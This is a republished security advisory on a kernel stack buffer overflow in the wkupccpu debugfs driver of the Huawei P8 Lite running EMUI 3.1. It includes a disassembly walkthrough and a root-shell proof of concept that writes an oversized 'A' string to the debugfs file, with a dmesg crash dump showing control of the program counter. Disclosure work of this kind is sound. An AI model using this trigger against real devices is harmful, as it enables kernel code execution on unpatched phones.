{"id":10866,"date":"2017-12-17T14:20:33","date_gmt":"2017-12-17T22:20:33","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/12\/17\/news-4638\/"},"modified":"2017-12-17T14:20:33","modified_gmt":"2017-12-17T22:20:33","slug":"news-4638","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/12\/17\/news-4638\/","title":{"rendered":"SSD Advisory \u2013 Huawei P8 wkupccpu debugfs Kernel Buffer Overflow"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 17 Dec 2017 07:24:49 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3580\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3580');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes a buffer overflow found in Huawei P8 Lite ALE-21 HI621sft, operating system versions EMUI 3.1 &#8211; wkupccpu debugfs driver.<\/p>\n<p>Huawei Technologies Co. Ltd. is &#8220;a multinational networking and telecommunications equipment and services company, it is the largest telecommunications equipment manufacturer in the world and the second largest smartphone manufacturer in the world&#8221;<\/p>\n<p><strong>Credit<\/strong><br \/> A security researcher from, TRUEL IT, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> Huawei confirmed that the vulnerability is not present on their most current version (with EMUI 4.0 or later), the only affected version is 3.1 and prior, it is recommended that all customers of Huawei upgrade to the latest version of their OS.<\/p>\n<p><span id=\"more-3580\"><\/span><br \/> <strong>Vulnerability details<\/strong><br \/> The vulnerability allows an attacker with root privileges in an unprivileged SELinux domain to execute arbitrary code in the kernel context.<\/p>\n<p>The vulnerable code can be found in the wkupccpu debugfs driver.<\/p>\n<p>File Kernel Binary Image \u2013 function pwrctrl_debug_init() @ 0xf9c714:<br \/> <a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image005-1.png\" data-slb-active=\"1\" data-slb-asset=\"1567255848\" data-slb-internal=\"0\" data-slb-group=\"3580\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image005-1-219x300.png\" alt=\"\" width=\"219\" height=\"300\" class=\"alignnone size-medium wp-image-3581\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image005-1-219x300.png 219w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image005-1.png 698w\" sizes=\"auto, (max-width: 219px) 100vw, 219px\" \/><\/a><\/p>\n<p>The instructions at offset 0xf9c78c and 0xf9c7b8 in the pwrctrl_debug_init function are the one responsible of registering the debugfs directory and file in the filesystem, which is then mounted within the \/sys\/kernel\/debug\/ system directory<\/p>\n<p>The driver implements the write handler in its wkupccpu_dbgfs_write function:<br \/> <a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image007.png\" data-slb-active=\"1\" data-slb-asset=\"766309906\" data-slb-internal=\"0\" data-slb-group=\"3580\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image007-300x281.png\" alt=\"\" width=\"300\" height=\"281\" class=\"alignnone size-medium wp-image-3582\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image007-300x281.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image007-768x719.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/12\/image007.png 1009w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>It is good to have in mind the signature of a typical write implementation, which is:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a36edb08bf3f422945303\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> ssize_t (*write) (struct file *, const char *, size_t, loff_t *);<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0006 seconds] -->  <\/p>\n<p>The first basic block shown above prepares the stack and reserves 0xb0 (176) bytes for the local variables: register X1 will contain the pointer to const char * argument buffer provided by the user.<\/p>\n<p>Lines from offset 0x666208 to 0x666218 are the one responsible to check if the pointer to const char * argument provided by the user and its size provided as the size_t argument can cause an arithmetic overflow. <\/p>\n<p>In case of arithmetic overflow, the flow will be redirected to the basic block at offset 0x666234 and the vulnerability will not be triggered; otherwise, the execution will proceed to basic block at offset 0x666220, which contains the vulnerable copy_from_user call.<\/p>\n<p>The following is the state of the registers when this call is reached:<\/p>\n<ul>\n<li>X0 will hold the pointer to the destination buffer: the analysis highlights that the buffer is 0x8b (128) bytes longs and resides locally to the function<\/li>\n<li>X1 will hold the pointer to the source buffer, which resides in user space and is usersupplied<\/li>\n<li>X2 register will hold the number of bytes to copy, which is determined by the size ofthe buffer pointed by X1<\/li>\n<\/ul>\n<p>Since we control the value of X2 register, we can provide a buffer wider than 128 bytes, causing an out-of-bounds write on the stack that could lead to memory corruption.<\/p>\n<p><strong>Proof of Concept<\/strong><br \/> In order to exploit this vulnerability, the attacker is required to gain root privileges within any SELinux domain present in the device.<\/p>\n<p>Looking at the SELinux policy extracted from the device, it is possible to note that debugfs SELinux context can be reached from the following domain:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a36edb08bf4a868447913\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> $ sesearch &#8211;allow -t debugfs -c file -p write sepolicy  allow domain debugfs:file { append open write };  allow unconfineddomain debugfs:file { append audit_access create getattr ioctl link lock  mounton open quotaon read relabelfrom rename setattr swapon unlink write };<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf4a868447913-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf4a868447913-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf4a868447913-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf4a868447913-4\">4<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf4a868447913-1\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sesearch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-v\">allow<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">t<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">debugfs<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">write <\/span><span class=\"crayon-e\">sepolicy<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf4a868447913-2\"><span class=\"crayon-e\">allow <\/span><span class=\"crayon-e\">domain <\/span><span class=\"crayon-v\">debugfs<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-e\">file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">append <\/span><span class=\"crayon-e\">open <\/span><span class=\"crayon-i\">write<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf4a868447913-3\"><span class=\"crayon-e\">allow <\/span><span class=\"crayon-e\">unconfineddomain <\/span><span class=\"crayon-v\">debugfs<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-e\">file<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">append <\/span><span class=\"crayon-e\">audit_access <\/span><span class=\"crayon-e\">create <\/span><span class=\"crayon-e\">getattr <\/span><span class=\"crayon-e\">ioctl <\/span><span class=\"crayon-e\">link <\/span><span class=\"crayon-e\">lock<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf4a868447913-4\"><span class=\"crayon-e\">mounton <\/span><span class=\"crayon-e\">open <\/span><span class=\"crayon-e\">quotaon <\/span><span class=\"crayon-e\">read <\/span><span class=\"crayon-e\">relabelfrom <\/span><span class=\"crayon-e\">rename <\/span><span class=\"crayon-e\">setattr <\/span><span class=\"crayon-e\">swapon <\/span><span class=\"crayon-e\">unlink <\/span><span class=\"crayon-i\">write<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0009 seconds] -->  <\/p>\n<p>The root privileges are necessary because of the following DAC permissions:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a36edb08bf4f942519189\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> root@hi6210sft:\/ # cd \/sys\/kernel\/debug  root@hi6210sft:\/sys\/kernel\/debug # cd wkupccpu_dbgfs\/  root@hi6210sft:\/sys\/kernel\/debug\/wkupccpu_dbgfs # ls -laZ  -rw-r&#8211;r&#8211; root root u:object_r:debugfs:s0 wkupccpu<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf4f942519189-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf4f942519189-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf4f942519189-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf4f942519189-4\">4<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf4f942519189-1\"><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">hi6210sft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># cd \/sys\/kernel\/debug<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf4f942519189-2\"><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">hi6210sft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">kernel<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">debug<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># cd wkupccpu_dbgfs\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf4f942519189-3\"><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">hi6210sft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">kernel<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">debug<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">wkupccpu_dbgfs<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># ls -laZ<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf4f942519189-4\"><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">rw<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">root <\/span><span class=\"crayon-i\">root<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">object_r<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-v\">debugfs<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-e\">s0 <\/span><span class=\"crayon-v\">wkupccpu<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0008 seconds] -->  <\/p>\n<p>The vulnerability can be triggered by writing more than 128 bytes inside <em>\/sys\/kernel\/debug\/wkupccpu_dbgfs\/wkupccpu<\/em>:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a36edb08bf53501381944\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> root@hi6210sft:\/ # echo 0 &gt; \/proc\/sys\/kernel\/panic_on_oops  root@hi6210sft:\/ # echo  \u201cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  AAAAAAAAAAAAAAAAA\u201d &gt; \/sys\/kernel\/debug\/wkupccpu_dbgfs\/wkupccpu  root@hi6210sft:\/ # dmesg  [&#8230;]  &lt;3&gt;[ 8202.458918s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]pwrctrl_debug [wkupccpu  DEBUGFS] cmd error  &lt;0&gt;[ 8202.459040s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]Internal error: : 8a000000  [#4] PREEMPT SMP  &lt;4&gt;[ 8202.459101s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]Modules linked in:  &lt;4&gt;[ 8202.459223s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]CPU: 1 PID: 17709 Comm: tmpmksh  Tainted: G D 3.10.61-g4ece278 #2  &lt;4&gt;[ 8202.459315s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]task: ffffffc010882b00 ti:  ffffffc00316c000 task.ti: ffffffc00316c000  &lt;4&gt;[ 8202.459406s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]PC is at 0x41414141414141  &lt;4&gt;[ 8202.459467s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]LR is at 0x4141414141414141  &lt;4&gt;[ 8202.459528s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]pc : [&lt;0041414141414141&gt;] lr  : [&lt;4141414141414141&gt;] pstate: 60000145  &lt;4&gt;[ 8202.459589s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]sp : ffffffc00316fe80  &lt;4&gt;[ 8202.459650s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x29: 4141414141414141 x28:  ffffffc00316c000  &lt;4&gt;[ 8202.459742s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x27: ffffffc0012be000 x26:  0000000000000040  &lt;4&gt;[ 8202.459833s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x25: 0000000000000116 x24:  0000000000000015  &lt;4&gt;[ 8202.459925s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x23: 4141414141414141 x22:  4141414141414141  &lt;4&gt;[ 8202.460017s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x21: 4141414141414141 x20:  4141414141414141  &lt;4&gt;[ 8202.460108s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x19: 4141414141414141 x18:  0000000000000001  &lt;4&gt;[ 8202.460200s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x17: 00000000000001f8 x16:  00000000000001ec  &lt;4&gt;[ 8202.460261s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x15: 00000000000007e0 x14:  7277705d68736b6d  &lt;4&gt;[ 8202.460352s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x13: 2d706d742c317570 x12:  632c39303737313a  &lt;4&gt;[ 8202.460444s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x11: 6469705b5d33343a x10:  37313a3531203731  &lt;4&gt;[ 8202.460535s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x9 : 3a30313a37313032 x8 :  6d63205d53464755  &lt;4&gt;[ 8202.460627s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x7 : 4245442075706363 x6 :  00000000000127b3  &lt;4&gt;[ 8202.460719s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x5 : 000000000000ca21 x4 :  ffffffc0011a91c0  &lt;4&gt;[ 8202.460810s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x3 : 0000000000000001 x2 :  ffffffc07609db80  &lt;4&gt;[ 8202.460902s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]x1 : ffffffc07609db80 x0 :  ffffffffffffffea  &lt;4&gt;[ 8202.461024s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]  &lt;4&gt;[ 8202.461024s]SP: 0xffffffc00316fe00:  &lt;4&gt;[ 8202.461085s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fe00 41414141 41414141  41414141 41414141 41414141 41414141 41414141 41414141  &lt;4&gt;[ 8202.461268s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fe20 00000015 00000000  00000116 00000000 00000040 00000000 012be000 ffffffc0  &lt;4&gt;[ 8202.461421s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fe40 0316c000 ffffffc0  41414141 41414141 41414141 41414141 0316fe80 ffffffc0  &lt;4&gt;[ 8202.461604s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fe60 41414141 00414141  60000145 00000000 41414141 41414141 00004000 ffffff80  &lt;4&gt;[ 8202.461787s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fe80 ca41e3c0 0000007f  000843ac ffffffc0 00000000 00000000 000000c9 00000000  &lt;4&gt;[ 8202.461970s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fea0 ffffffff ffffffff  94c55204 0000007f 9a260cc0 00000055 000000c9 00000000  &lt;4&gt;[ 8202.462153s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fec0 ffffffff ffffffff  00000000 00000000 00000001 00000000 9a265678 00000055  &lt;4&gt;[ 8202.462336s][2017:10:17 15:17:43][pid:17709,cpu1,tmp-mksh]fee0 000000c9 00000000  9a265740 00000055 94c97e18 0000007f 9a265778 00000055  [&#8230;]<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-22\">22<\/div>\n<div 